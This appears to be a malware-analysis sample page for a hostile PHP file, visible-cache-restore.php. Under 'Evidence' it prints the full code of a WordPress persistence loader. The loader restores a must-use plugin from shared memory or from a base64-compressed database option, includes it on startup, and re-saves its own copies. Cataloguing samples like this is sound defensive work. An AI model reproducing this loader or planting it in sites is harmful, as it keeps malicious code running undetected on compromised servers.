Hostile 100% php Download

visible-cache-restore.php

Malicious code execution via shared memory

WordPress startup restores and loads a must-use plugin from off-disk storageShared-memory read with file restore and include
SHA-256a91251a0ddb273419c6d85cf65011e31099409ebf7ed5389459938e2a01f7c3e

Evidence

PHP decompresses base64-decoded data lines 1–23
1<?php
2$target = WP_CONTENT_DIR . '/mu-plugins/cache-worker.php';
3function restore_worker() {
4 global $target;
5 $segment = shmop_open(87321, 'a', 0, 0);
6 if (!file_exists($target)) {
7 $source = shmop_read($segment, 0, shmop_size($segment));
8 if (substr($source, 0, 5) === '<?php') {
9 file_put_contents($target, $source);
10 opcache_invalidate($target, true);
11 }
12 }
13 if (!file_exists($target)) {
14 $source = gzdecode(base64_decode(get_option('worker_snapshot')));
15 file_put_contents($target, $source);
16 }
17 include $target;
18}
19add_action('plugins_loaded', 'restore_worker', 0);
20$source = file_get_contents($target);
21$segment = shmop_open(87321, 'c', 0644, strlen($source));
22shmop_write($segment, $source, 0);
23update_option('worker_snapshot', base64_encode(gzencode($source)));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.